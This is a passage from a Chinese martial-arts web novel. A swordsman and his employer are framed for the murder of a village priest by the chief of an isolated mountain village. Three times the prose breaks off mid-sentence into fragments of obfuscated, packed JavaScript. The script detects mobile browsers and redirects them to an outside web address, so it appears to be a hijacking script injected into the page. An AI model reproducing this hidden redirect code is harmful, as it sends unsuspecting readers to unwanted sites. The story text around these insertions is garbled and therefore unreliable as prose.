让他整个人都变得暖烘烘的,眉眼间都溢出满足的笑意。 他笑嘻嘻的看着方隐攸收拾残局,“去寨子里偷得?” “放了铜钱,算买。” 柳傅文撇撇嘴,手撑住下巴盯着方隐攸,“那你再去买两床被子来?这雨下了一天,晚上估计也不会停,会冷。” 方隐攸起身环顾整个山神庙,从神像后面拉出一张方桌,擦干净上面的灰烬以后看向柳傅文,“晚上睡这上面,可以吗?” 柳傅文点点头,“好。” 方隐攸提着竹篓离开了片刻,再回来时手里提着两张棉被,很厚,也很干净,放在桌子上的时候还有一股淡淡的香味。 柳傅文对此十分满意,“方隐攸,一百两黄金雇你护我上京,这么看来是我赚了。” 方隐攸面无表情的扫了他一眼,转身将两个蒲团摆在方桌旁边,然后躺下。 柳傅文嘿嘿一笑,蹲在他身边,装模作样的戳了戳他的肩膀,“要不我匀你一床被子?” 方隐攸沉默着看屋顶横梁,不想搭理他。 柳傅文不依不挠,不停地戳着他的肩膀,嘴里喋喋不休的问,“要不要?” 方隐攸翻了个身,侧躺在蒲团上,用手撑住下巴,睥着他,淡淡的问,“柳傅文,你是不是吃饱了撑得慌?” 柳傅文嘿嘿一笑,摇摇头,“不,我是好心,怕你冷着。” 方隐攸翻了个白眼,用剑鞘轻轻敲打了一下他的肩膀,“去睡觉。” “不困。” “在马车上睡太多了?” “嗯。”柳傅文眨了眨眼,“你该叫醒我的,我睡了一路,现在怎么睡的着。” 方隐攸听他这么无赖的话,忍不住笑出了声,眼神警告的盯着他道:“要么自己睡,要么我打晕你,你选吧。” 柳傅文装模作样的叹了口气,手插着腰站了起来,俯视着方隐攸在烛光中显得十分柔和的眉眼,“那我还是自己睡吧。” 说完,他爬上了方桌,躺在柔软的棉被上,盖上了同样柔软的被子。紧接着,他侧着身子,将半张脸悬在方隐攸头顶,“方隐攸,你真的不要被子吗?” 方隐攸的视线落在他的半张脸上,盯着他赤色的唇,一字一句的说,“不要。” 柳傅文哦一声,翻身平躺在放桌上,盯着屋顶发呆。 过了不知道多久,久到他都开始有了一丝困意之后,屋外忽然传来了杂乱的脚步声。 地上的方隐攸立刻翻身而起,然后迅速冲到门前,一脚踹开了庙门。 黑漆漆的雨夜里,一个踉踉跄跄的人影正从这边往寨子里跑去。 柳傅文走到他身边,看向那个很快隐匿在黑夜中的背影,“这人做什么?” 方隐攸看向庙前约五丈远的一颗老槐树,那里隐隐约约躺着一个人。 “我去看看。” 方隐攸说完,从旁边烛台上拿起一根蜡烛,撑着油纸伞缓缓走向老槐树。 老槐树下确实躺着一个人,而且是个死人。 他死的十分凄惨,淅淅沥沥的雨都冲不干净他脸上的血痕,方隐攸伸手将人翻了个面,果不其然看到他后脑勺有一个老大的窟窿,里面的东西一览无余。 这人是被人从后面硬生生砸死的,连带着脸部都被压得一片模糊。 17. 稹安 柳傅文望着雨中的方隐攸,看他久久不动,心里也升起一股不好的预感,连忙追了出去。 方隐攸听到身后的动静,看到他跑了过来把伞往前伸了伸,将他接了过来。 柳傅文一看到地上的尸体,脸色瞬间变得难看起来,“这人过来抛尸?” “嗯。”方隐攸仔细看着尸体身上的衣裳,虽然已经湿透了皱巴巴的黏在身上,但是还是能明显的看出来这身衣裳不是寻常的长袍。 它的样式十分繁杂,上衣下裙,上面织着许多兽纹,层层叠叠的堆在一起,像是一本翻开的书,而且这人胸前挂着几串璎珞,配着珍珠玛瑙兽牙等等,无一不在彰显着这人身份不一般。 “应该是类似于长老或者是族长的人。”方隐攸说到。 柳傅文赞同的点点头,“你说抛尸的人知道我们在庙里吗?” “不确定。”方隐攸转头看向他,“若是怕麻烦,我们现在就离开这里,若是不怕麻烦,就明天再走。” 方隐攸刚说完,眉头就皱了起来,“看来,我们已经走不了了。” 他转身看向方才那人跑开的方向,那里正有一群人举着火把朝这边奔来,嘴里还吵嚷着一些他听不懂的话。 “那就先去庙里吧。”柳傅文抖了抖肩膀,“都淋湿了。” 方隐攸点点头,与他并肩回了山神庙,静静地等待着那群人的到来。 他们来的很快,吵吵嚷嚷的直接涌入了山神庙中,走在最前面的是一张熟面孔——当时告诉他们山神庙的那个男人。 方隐攸和柳傅文几乎是一瞬间就明白了是什么一回事,两人心照不宣的对视一眼,然后面色如常的看着他们究竟要如何。 男人现在没有戴箬笠,头发全部散开披在肩上,明明是正值壮年的一张脸,头发却已经花白,显得有些不伦不类。 他上前一步,语气肯定的看着两人,“是你们杀了我们的祭祀。” 原来死的是寨子里面的祭祀。 方隐攸的视线越过人群,看向门外的槐树,按理来说,祭祀在这种族群中代表着信仰,拥有崇高的地位,眼前这个男人为什么要杀他呢? 男人看方隐攸和柳傅文没有半点反应又重复了一遍,“是你们杀了我们的祭祀。” 这次他的语气十分冷酷,带着警告与愤怒。 方隐攸双手环抱在身前,上下打量他一番后,问道:“证据呢?凭什么说是我们杀了你们的祭祀?” 方隐攸话音刚落,人群里面冲出来一个中年男人,他怒气冲冲的瞪着方隐攸,嘴里大喊着一串稀奇古怪的语言,方隐攸一句也没听懂。 他侧过脸看向柳傅文,用眼神问他听懂了没? 柳傅文沉默的摇摇头,表示自己也没听懂,于是他们两人十分诚恳的看向那个男人,“他说什么?” 男人伸手拉住中年男人,用同样的语言说了几句话后,中年男子恶狠狠的看了一眼方隐攸他们后退回了人群中。 “我亲眼所见,你们杀了我们的祭祀。” 男人面不改色的和方隐攸四目相对,眼神中没有丝毫退却,要不是方隐攸知道自己没有杀人,还真的没办法相信他竟然能将谎话说的这么坦然。 方隐攸笑着点点头,往后撤了一步,将柳傅文挡在自己身后,直接拔剑而立,盯着他冷冷道:“既如此,也没什么好说的。” “放我们走,或者我杀出去,你自己选择。” 男人沉默的看着他,闻言没有任何反应,片刻后转身朝着身后的人挥了挥手,示意他们先退出去。 等到人都退了出去,庙门也被人关上以后,那个男人眼神诡异的盯着两人看了半晌。 就在方隐攸耐性即将耗尽的时候,他将蒲团摆到山神像前,屈膝跪在上面,仰头看着神像慈悲的脸,语气沉重的说道:“你们大概已经猜到了,屋外的人是我所杀。” “我叫稹安,是这里的族长,迫于无奈才陷害你们。” 方隐攸听到这里讥笑一声,蹲到了他面前,“迫于无奈?树下那个人死的可不算利落,我看他脑后的伤口,你最少锤了有十多下这人才死透吧?” 稹安闻言垂在身侧的手缓缓的挪到大腿上,紧紧的捏住衣裳,沉默许久后,满脸难堪的盯着他,“对,足足十六下。” 稹安闭上眼长呼一口气,“我一下一下的敲,一下一下的数,十六下啊...” 方隐攸漠然的扫他一眼,站起身倚在背后的供桌上,面无表情的睥着他,问到:“所以你有什么好无奈的?” 稹安怆然一笑,“这与你们无关。”他盯着方隐攸,“我希望你们可以认下这个罪名,等到这场雨停下、大雾散去之时,我会送你们离开寨子。” 方隐攸和柳傅文相视一眼,狐疑的问道,“他是你们的祭祀,如果我们认下这个罪名,外面那些人能让你送我们离开?” “我自有办法。”稹安胸有成竹的看着方隐攸,“你们不会受到任何责罚或者虐待,只需要在寨子里住上几日,你们便可以安然无恙的离开。” “我们凭什么帮你?” 稹安沉默一瞬,撑住腿站了起来,他和方隐攸差不多高,但是比他壮一些,就像是一堵墙拦在了方隐攸面前。 “雨天不入寨,入寨不得还。” 稹安说完转身看向门外,“没有我给你们引路,你们出不去。” 方隐攸脸色一变,手中的可生剑立刻出鞘抵在他的脖子上,“说清楚。” “古岭寨与世隔绝,易进难出,除了族长无人知晓出路在哪里。”稹安说着像是察觉到方隐攸心中所想,继续道:“就算是你现在按着进寨的方向再走一趟也出不去。” “不信的话,你们稍后可以去看看。”稹安垂眼看着抵在自己面前的长剑,语气不疾不徐,“是你们自己闯进来的,我只是稍加利用了一下你们而已。” 方隐攸看着他这幅从容的模样,忍不住狠狠地一脚踹在他的腿弯让他半跪在地,然后反手扭住他的手腕扣在他的背上。 稹安依旧毫不慌乱的看着他,淡淡道:“帮我,对你们来说没有任何损失。”说完,他环顾这间山神庙,视线落在铺着两床被子的方桌上,“也不用睡这种地方。” “那你的目的呢?” 柳傅文走到他面前看着他,“杀了你们的祭祀,然后嫁祸到我们这两个外来人的头上,还要把我们安然无恙的送出去。” 说着,他蹲到稹安面前,盯着他的双眼,质问道:“你和他有仇?” 稹安摇摇头,“没有。” “你和他有怨?” “没有。” 柳傅文呵呵一笑,“既然无怨无仇,你为什么要杀他?难道是为了祭祀的位置?”不等稹安开口,柳傅文继续道:“可是你已经是族长了,祭祀远没有你这个身份来的尊贵,所以肯定不是为了祭祀的位置。” 说完,他站了起来,往后退了一步,盯着他问道:“那么,你的目的究竟是什么?” 方隐攸用力的将稹安往地上一推,他瞬间摔在地上,穿着墨绿色长袍的起伏的身躯像是古寨里连绵的山,落在腰间的一缕花白的头发如细长的溪流,将他一分为二。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810156|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >方隐攸走到柳傅文身边,与他并肩而立,一同注视着地上的稹安,看他缓缓爬了起来,然后从容不迫的整理好衣裳。 稹安十分平静的看着他们,“我自然有我的目的,但是这与你们无关,与我们的交易无关。” “我们不答应的话,你难道能将我们一直困在这寨子里?” “不能,所以我在求你们帮我。” 方隐攸无语的笑了笑,“陷害我们叫求我们?威胁我们叫求我们?族长,你是身居高位太久了,不知道怎么求人了吧?” 忽然,紧闭的庙门被人敲响,咚咚几声之后,是一个温润清脆的男人声音,说的还是方隐攸和柳傅文都听不懂的话。 稹安看了一眼两人,然后朝着外面说了一句话,那人轻轻推开门,走了进来。 他穿着一身白衣,乌黑的头发披在脑后,烛火下半明半暗的脸十分精致,一双狐狸眼扫过方隐攸和柳傅文,走到稹安身边和他沟通了一会,然后在稹安点过头以后,走到了两人面前。 “我叫季沅,是这里的巫医。”他盯着方隐攸,手指着放桌上的棉被:“你这棉被,便是在我屋里拿的。” 柳傅文闻言一愣,然后走到方隐攸身边将他扯到自己身后,“他是替我拿的,多少银子,我买下就是了。” 季沅摇摇头,依旧看着方隐攸笑道:“当时我便想和你说,但是你走得太快,我来不及。” 说着,他上前一步,朝这方隐攸伸出手,“可以让我替你把一下脉吗?” 方隐攸冷冷的扫他一眼,没有任何回应。 季沅愣了一下,然后收回了手,“既如此,那我便直接说吧。你体内有一股邪气,需要及时医治,否则,恐有性命之忧。” 柳傅文惊讶的回头看向方隐攸,“他说的是真的吗?” “假的。” 方隐攸看向季沅,“直说,你的目的是什么?” “答应族长的请求,我可以想办法替你去除体内邪气。” 方隐攸呵呵一笑,看向柳傅文,“你看,这才是他的意图。” 柳傅文脸上的神色却并没有丝毫放松,依旧眉头紧锁的打量着他,因为他想起来当初在淮临县时发生的一切。 天下第一刺客竟然变成了一个疯癫的杀人怪物,而且醒来以后忘记了一切,处处都透露着诡异。 短暂的沉默之后,柳傅文看向季沅,“好,我答应你们族长的要求,你医好他。” 方隐攸一把将柳傅文扯到面前,“柳傅文,你是不是听不懂我的意思?” 稹安这时候像是下定了某种决心,朝着他们说道:“你们答应帮我,我就告诉你们我的目的。” 方隐攸斜眼看他,“你什么目的关我什么事?” 说完,他再次警告柳傅文,“有些事情一旦触碰可就没有那么好脱身了,你确定要帮他们?” 柳傅文郑重的点点头,“确定,只有你平平安安,才能保证我平平安安。” 方隐攸狠狠地瞪了他一眼,扭过头不再看他。 稹安如释重负的长呼一口气,整个人都舒展开,肩膀变得更加宽广,他抬手朝着两人躬身一拜,“稹安多谢二位。” 说完,他转身走到门口,打开门朝着屋外的人说了些什么,那些人高声一喝一呼,然后举着火把陆陆续续的离开了。 稹安回首朝着两人说道:“你们随我来吧。” 方隐攸一动不动,柳傅文一把揽住他的肩膀,撑着伞,将人往外带去。 稹安与季沅对视一眼,然后领着方隐攸和柳傅文离开了山神庙。 18. 途安 半夜时分的古岭寨因为祭祀被杀一事闹得沸沸扬扬,跟在稹安背后的方隐攸和柳傅文被人指指点点了一路。 虽然他们两个人都听不懂那些人究竟说了些什么,但是这并不影响他们从语气上分辨出里面的怨恨与愤怒。 柳傅文侧过脸,看向夜色里不甚明晰的方隐攸的侧脸,“你在埋怨我?” “没有,你是雇主,帮不帮你说了算,反正在这里耽搁的并不是我一个人的时间。” “不如这样,耽搁一日我便多给你一两黄金,怎么样?” “好。” 方隐攸拿过柳傅文手里的伞,抖开他搭在自己肩膀上的手,然后将手搭在他的肩膀上。 就这么一会功夫,他整个人的情绪都变得不再那么压抑,柳傅文呵呵一笑,“方隐攸,你可真是钻到钱眼里了。” 方隐攸扯了扯嘴角,并不在意柳傅文语气里面的揶揄,他看着面前稹安的背影,若有所思的说道:“族长亲手杀了祭祀,这古岭寨算是完了。” 柳傅文没想到他敢说这么大逆不道的话,赶紧伸手捂住他的嘴,“方隐攸,就算你武功盖世,但是也不能在一族之长面前说这种话!” 走在前面的稹安蓦然回首,淡淡道:“他说的没错,古岭寨...要完了。” 最后三个字他说的极其缓慢,带着几分惆怅与无奈。 柳傅文尴尬的笑了笑,不知道要如何回应,不过稹安说完就继续前行了,似乎并不在意他的看法。 没过多久,稹安的家就到了。 还不等他们进去,一个瘦瘦高高的男人就冲了出来,连伞都没有撑,淋着雨跑到稹安的伞下,两人叽里咕噜的说了半天,稹安才伸手指了指站在原地一动不动的方隐攸和柳傅文。 男人朝他们两个人看了过来,但是天色昏暗,彼此都没能看清对方的脸。 等到四个人进了屋,男人立刻走到方隐攸和柳傅文面前,语气感激的说道:“多谢两位。” 方隐攸和柳傅文打量着眼前的男人,他和稹安长得有七分相似,只是看上去更年轻些,披在肩上的头发乌黑,没有一根白发。 男人继续道:“我叫途安,哥哥已经告诉我了,你们愿意认下杀害祭祀的罪。” 方隐攸闻言呵呵一笑,看来稹安杀人这事,知情人不少,他看向站在烛台边的稹安,“你杀一个人阵仗弄得倒是挺大。” 稹安平静的接下了他的挖苦,转头看着途安说道:“你去给他们收拾两个房间。” “一间就够了。” 柳傅文说完,稹安和途安两个人的脸色突然大变,看着他们的眼神变得探究又惊讶,尤其是途安,眼中竟然还含着一丝惊喜。 柳傅文往后退了一步,十分困惑的问道:“怎么了?” 途安伸手抹了一把脸,然后摆摆手道,“没事没事,一间房挺好的,我这就去收拾。” 等到途安离开以后,稹安神情复杂的打量着他们两人,“你们是什么关系?” 柳傅文一脸莫名的看着他,“问这个做什么?” 稹安垂下眼,看着鞋子上沾染上的泥泞,忽然微微一笑,“无事。” 说完,他伸手示意两人到旁边的椅子上,“你们在此稍等片刻,我去给你们煮点姜茶驱寒。” 方隐攸喝不惯这些东西,直接拒绝了,柳傅文倒是想喝,十分自在的接受了稹安的好意,笑着道了谢,看着稹安穿过堂屋,朝着后面走去。 眼下大堂里只剩下他们两个人,方隐攸随意的倚在椅背里,手搭在柳傅文椅子后面,缓缓道:“我看他们这意思,离开寨子之前我们都得在这栋木楼里待着了。” “无妨,季沅能来就行。” 方隐攸呵一声,“柳傅文,我再说一次,我体内没有什么所谓的邪气,那都是季沅为了让我们答应帮忙胡编乱造的。” “不管有没有,让他看看又没什么大碍。” “你只是我的雇主,我们之间是交易关系,你别真拿自己当主我当仆了。” 柳傅文打量着他,“你似乎十分介意就医这件事?” 方隐攸眼珠一转,轻蔑的哼一声,“我是忌讳庸医。” “他好歹是一个寨子里面的巫医,怎么就成了庸医了?” 方隐攸和他说了半天,耐心早就耗尽,嗖的一下站了起来,“你在这等你的姜茶,我去找那个途安打探点消息。” 柳傅文撇撇嘴,看着他径直离开的背影,眼神愈发探究。 方隐攸循着途安离开的方向上了二楼,然后穿过一条回廊,看到了他正在一间敞着门的房间里整理床铺。 方隐攸走到门口,用剑鞘敲了敲门,然后朝着转过头的看途安笑了笑,“辛苦。” “应该的!”途安将手里的被子一抖,平整的铺在木床上,然后继续道:“你们二位对我们有恩,哥哥说了,让我好好伺候你们。” 方隐攸若有所思的点点头,走进屋子里后大大咧咧的半卧在靠墙的软榻上,“你们为什么要杀祭祀?” 途安手上的动作一顿,抿了抿唇后迟疑的说到,“我哥哥不让我说。” “为什么?他不是说如果我们愿意帮你们,就告诉我们你们的目的是什么吗?” “对,可是那是他说,不是我说。”途安挠了挠头,“我嘴笨,很多事情说不清,所以哥哥不让我说。” 方隐攸上下打量途安一眼,发觉他眼神十分纯粹,看上去没有丝毫城府 ,“没事,你先说,稍后我再去问你哥哥。” 途安沉思片刻,将手里的软枕放在床头后,端来一把椅子做到方隐攸面前,“方公子,其实这件事没有那么复杂。” “最近几年,总有许多外族人进寨,他们穿的光鲜亮丽,知道许多我们不知道的东西,所以很多族人便对寨子外面的世界产生了好奇。” “他们想去寨子外面看看,但是我们寨子里有祖训,非特殊原因,族人不可以出寨。” “越来越多的人找到我哥哥,希望他改变祖训。” “我哥哥和曼匀叔叔——也就是祭祀商量,或许可以尊重族人的意见修改祖训,让想出去的人可以出去。” “但是曼匀叔叔固执的认为,祖训不可以改,今日下午,哥哥和曼匀叔叔又在争执这个问题,然后哥哥一时情绪失控,就砸死了曼匀叔叔。” 途安说完,十分恳切的望着方隐攸,“我哥哥真的不是故意的,他就是...就是太激动了,所以才杀了曼匀叔叔...而且...” “而且你觉得,祖训改该,对吗?”方隐攸盯着他说道。 途安的嘴唇抿成一道线,他坚定的点点头,“对!” “那为什么必须要我们这两个外族人承担这个罪责呢?”方隐攸翻了个身,更加舒服的躺在软榻上,望着屋顶,“你或者季沅不能承担吗?” 途安的眼神的闪过慌乱。 方隐攸咄咄逼人的继续说道:“就算是你哥哥自己主动承担了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810157|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个责任,那些想要出寨子的人也会替他辩解开罪吧?” “这...”途安犹犹豫豫的说不出一句完整的话,眼神飘忽的看着方隐攸,显得十分不安。 “不如还是让你哥哥亲自说吧。”方隐攸说完看向堵在门口一动不动的稹安。 途安顺着他的视线看过去,惊得一下子从椅子上坐了起来,“哥哥...你什么时候来的...” “早就来了。”方隐攸坐了起来,拍了拍他的肩膀,“你端着椅子过来的时候他就已经站在那里了。” 稹安走进屋,朝途安使了个眼色,“下去伺候那位公子。” 途安点点头,连忙走了出去,还顺手替他们把门关上了。 “族中人不可对祭祀不敬,否则将会引来天灾,更别说是杀人灭口。”稹安站在方隐攸面前,垂下头看着他,语气十分平和,“所以,凶手只能是外族人。” 这种被俯瞰的姿势让方隐攸感觉十分不舒服,于是翻身下了软塌,和稹安相对而立,“引来天灾?”方隐攸嗤笑一声,“族长还信这个?” 稹安退后一步,“我信不信不重要,族人信那便是真。” 方隐攸双手怀抱在身前,围绕着稹安踱了一圈,缓缓道:“可是我看族长也不是一个容易冲动的人,怎么会一时激动就杀了你们祭祀呢?” “是人就会有被情绪掌控的时候,我也不例外。” “若是我们今夜未曾入寨,那族长原本作何打算?” “外族人可不止你们二人。” “所以,晚间我们相遇的时候,你是要去抓外族人来顶罪?” “刚好遇见你们,倒是省去了我许多麻烦。” 方隐攸啧啧嘴,“这么说来,族长所作所为终究也是为了族人——为了族人能出寨,为了族人能安心。” “这不过是身为族长的责任罢了。”稹安说完抖了抖手臂,宽大轻薄的衣袖如水波,在烛光下流淌。 方隐攸抬眼看着他,盯着他的眼神充满探究,“族长,我还有一事不明。” “何事?” “途安是你弟弟,他知晓你杀了人情有可原,可是巫医季沅与你们非亲非故,为何会对你的所作所为了如指掌?” 稹安眼皮一跳,侧耳的一缕白发从肩头滑落,轻飘飘的贴在他的脸上。 方隐攸观察着他的反应,过了许久后装作恍然大悟仰起头,“可能是巫医与族长之间的关系非同一般?” 稹安闻言脸色一变,带着些愤怒的瞪着他,“胡乱猜测!” “那族长请说,为何他会知晓这种隐秘之事?” 方隐攸凑近稹安,语气越发咄咄逼人,“族长杀人的时候他在?还是族长抛尸的时候他在?可是不对呀,族长行事稳妥,怎么可能会让自己的所作所为被无关人知晓?” 方隐攸装模作样的叹一口气,“我愚笨,实在是猜不出除此之前的可能性,不如族长给个明示?” 稹安要紧牙根,沉默的盯着方隐攸。 方隐攸倏尔一笑,抬手轻轻拍了拍稹安的肩膀,“族长不要慌,我就是随口问问,我那个同行之人既然已经答应了帮你们,我肯定也不会坏你的事。” “不早了,族长权重责重,也不要太辛苦,以免累坏了身子。” 稹安侧过脸,看着自己肩膀上修长而有力的手,隐约开始察觉找身前这个人合作,可能并不是一件明智之举。 但是,事已至此,一切都晚了。 19. 大雾起 下了一天一夜的雨在第二天鸡鸣时分终于停了。 柳傅文半睡半醒的趴在穿上,望着躺在软榻上凝望着屋顶的方隐攸。 “你昨天打探到了什么消息?” 方隐攸翻了个身,侧躺着看向他,将昨天夜里稹安和途安两兄弟的那一套说辞一字不漏的说了出来。 “为什么你觉得季沅不该知道这件事?”柳傅文十分不解,“可能是途安告诉他的呢?他们两个人年纪相仿,互相分享秘密也没什么大不了吧。” “就算是再信任季沅,做弟弟的也不会将兄长的把柄放到别人手里。” “是吗?”柳傅文掀开被子下了床,打着哈欠说道,“我没有兄弟,不清楚兄弟之间的感情应该是怎样的。” 方隐攸也下了榻,推开窗户看着清晨的古寨,天色还有些昏暗,浓厚的大雾盖住了整个天地,只能看到灰蒙蒙的一片。 “起雾了。” 柳傅文凑到他身边,望了一眼窗外,“昨夜稹安不就说了吗,等到雨停、雾散,他就会送我们离开。” 两人起床没多久,途安就上楼叫他们下去吃饭。 等到两人下来的时候才发现季沅已经在大堂里面等着了,他还是穿着一身白衣,手里提着一个方方的木盒。 途安笑着解释,“季沅来给方公子治病。” 方隐攸轻飘飘的瞥了一眼季沅,没有丝毫回应。 途安尴尬的看了一眼柳傅文,柳傅文摆了摆手,“吃完饭再说。” 途安安抚的看了一眼季沅,然后去后厨将饭菜端了上来,四个人沉默着吃完了饭,等到他将残局也都收拾好了以后,途安再次走到方隐攸面前,忐忑的问道,“方公子,要不让季沅给你看看?” 方隐攸吐出一口浊气,抬眼看向站在不远处的季沅,将手腕随意的搭在身旁的桌子上,懒洋洋的说道:“看呗。” 季沅侧过头看向坐在茶几边喝茶的柳傅文,柳傅文朝他使了个眼色,“去吧。” 季沅点点头,走到方隐攸身边站好,然后抬手轻轻按在他的手腕上,仔细感知着指腹下的搏动。 不多久,他脸上露出狐疑的神情,指腹在方隐攸的手腕上缓缓左右挪动,反复几次以后,他十分无奈的收回了手。 “在下学术不精,摸不出这个脉象该如何治。” 方隐攸将手拿了回来,垂眼打量着自己手腕上的脉络,他虽然一言不发,但是脸色的表情却十分轻蔑。 途安见状走到季沅身边将他拉倒自己身后,“对不住方公子,我和哥哥会再想想办法的,总之,在你离开寨子之前我们肯定能帮你压制住体内的邪气。” 方隐攸无所谓的呵呵一笑,然后看向正盯着自己的柳傅文,缓缓道:“看来你这金子白花了。” 柳傅文走了过来,一把拽住他的手腕仔细观察,不解的看向季沅,“什么都看不出来吗?要不再试试别的办法?医书上不是说要望闻问切?你只是把了脉,当然看不出什么。” 季沅摇摇头,“方公子的脉搏十分奇怪,时有时无,时急时缓,而且毫无规律,在下实在是难以辨认。” 方隐攸将手腕从柳傅文手里挣脱,倚靠在椅子扶手上,似笑非笑的盯着他。 柳傅文瞪了他一眼,然后转头看向季沅,“你们这寨子里还有别的巫医吗?” “有,我的师父。但是他如今年岁大了,不出诊。” “我给银子。” 季沅为难的叹一口气,“不是银子的问题。” “那是什么的问题?” 途安忽然说道,“我让我哥哥去求他老人家!” “好。”柳傅文点点头,“尽快。” 方隐攸看着他们三个人一唱一和的替他安排好了一切,十分郁闷的看着柳傅文,“柳傅文,我自己难道不知道我有没有病吗?” 柳傅文横他一眼,“你不知道。” 方隐攸呵呵一笑,起身走到茶几边给自己倒了一杯茶,仰头一口喝净。 “我和你一起去找族长吧。”季沅朝途安说道。 途安看看他,又看看方隐攸和柳傅文,“你还在留在这里陪着两位公子吧。” 方隐攸斜眼看向他,“我们真的想跑,他一个人拦得住吗?” 途安瞬间闭嘴,握住季沅的手腕离开了木楼。 晌午过后,稹安是孤身一人回来的。 柳傅文十分诧异的看着他,“你弟弟和季沅呢?还有你们请的巫医呢?” 稹安闻言一愣,“什么意思?” “他们不是说要去找你,然后一起去找季沅的师父吗?” “没有人去找我。”稹安的眉头紧锁,转身看向屋外,“我一直在处理祭祀的后事。” 说完,他猛地回头盯着柳傅文,“他们什么时候离开的?” “大概两个时辰前。” 稹安的眼中闪过慌乱,迅速离开了。 方隐攸走到柳傅文身边,“出事了。” “要不我们出去看看?” 方隐攸手搭在他的肩膀上,将人往回带,“你忘了昨天夜里睡觉前稹安怎么说的了?” 稹安说离开之前他们只能在这栋木楼里。 柳傅文叹了一口气,“也不知道他们什么时候能把季沅的师父带来。” 方隐攸将他按在椅子上坐好,然后自己又躺倒竹榻上,百无聊赖的开始数着屋顶的有几片青瓦。 过了大概一个时辰以后稹安回来了,神色已经没有了出门时的失措,只是鬓角的细汗出卖了他内心的慌乱。 方隐攸从榻上起身,盯着他的眼睛,问道:“途安和季沅呢?” 稹安不动声色的看他一眼,淡淡道,“祠堂里有些事需要他们处理,今夜就先不回了。” “是吗?” 方隐攸语气上扬,带着一丝质问,又像只是随口一问,让人看不出他究竟信没信。 稹安转头看向柳傅文,“这场大雾后日便会散去,到时候我会安排人送你们出去。” 柳傅文点点头,“知道了。” “至于方公子体内的邪气...”稹安沉默一瞬,“明日,我会亲自去求季沅的师父,让他来替你医治。” “我先去做饭。”稹安说着就往后厨走去。 方隐攸握着可生剑的手拦在他的面前,眼睛看向他沾满淤泥的鞋底,“族长方才去哪里了?” 稹安抬眼看向他,“去后山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810158|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜园里走了一遭,想看看雨前种的几株菜苗长得如何了,怎么了吗?” 方隐攸呵呵一笑,收回了手,“没什么,就是想说如果族长累的话,可以歇一会再做晚饭,我们都还不饿”他看向柳傅文,“对吗?” 柳傅文和他交换了一个眼神,“对。” 稹安往后撤了半步,衣摆往后荡起,像是散开的云雾,“不累。” 方隐攸点点头,将手收了回来,让出前路,“那就多谢族长亲自下厨了。” 等到稹安离开后,方隐攸的脸色骤变,他盯着柳傅文一字一句的说,“这里不能再留了。” “怎么了?” “气息。”方隐攸往前一步握住他的手腕,“他的身上有那个人的气息。” “那个戴面具的男人?” “嗯。” 说完,柳傅文将方隐攸往背上一扔,迅速的离开木楼。 大雾还未散去,他们对寨子又不熟悉,为了避免碰上寨子里面的人,方隐攸直接背着柳傅文进了山林中。 柳傅文趴在方隐攸的肩膀上,看着周围郁郁葱葱的大树,叹了口气,“你忘了吗,没有稹安指路,我们离不开这个寨子。” “这种话也就你会信了。” “啊?” 方隐攸找了一棵粗壮的树,将人放在树干上坐好,然后他翻身坐在下面的一根树干上,仰起头说道:“既然有路,我就能找到,只是稍微耗费些功夫罢了。” 说完,他撇撇嘴,十分嫌弃的继续道,“这种古寨的人就喜欢故弄玄虚,也就你们这种京城里面出来的贵公子会被他忽悠。” 柳傅文闻言愤愤的瞪他一眼,“那你为什么不早说?” “我没有警告过你不要多管闲事吗?” 柳傅文瞬间噤声,别过头不看他。 “我去给你找点吃的。”说完,不等柳傅文回应他又像一阵风一般朝着古寨奔去。 方隐攸回来的很快,手里不仅提着吃的还有一床棉被。 他仔细的将被子放在树杈上,然后将手里的吃食递给柳傅文。 柳傅文看着手里的东西,问道:“你不吃吗?” 方隐攸垂首看着漆黑泥土地上的青苔,缓缓道:“不了,途安和季沅大概率在那个人手里,稹安也被他威胁掌控了,今夜你躲在这里不要随意出去,我去寨子里会会他。” 柳傅文一愣,“你都不知道他这次带了多少人你就要去?” “嗯。”方隐攸吐出一口浊气,跳到地上后,仰头和柳傅文四目相对,“找不到我,他估计会杀了寨子里的所有人。” “他究竟是谁?为什么这么残忍?” “他?一个疯子。” 说完,方隐攸再次叮嘱也是警告柳傅文,“记住,不能随便乱跑,处理好一切后我会来找你。” 柳傅文沉默的看着方隐攸,他的表情十分从容,完全看不出是要单枪匹马去对付一群人,再仔细的观察一下,还能从他眼里看出一丝兴奋。 柳傅文的视线下移,落在他的握在手里的可生剑上,“注意安危。” 方隐攸潇洒的哈哈一笑,“放宽心。” 说罢,他脚点地,疾步朝外奔去。 20. 厮杀 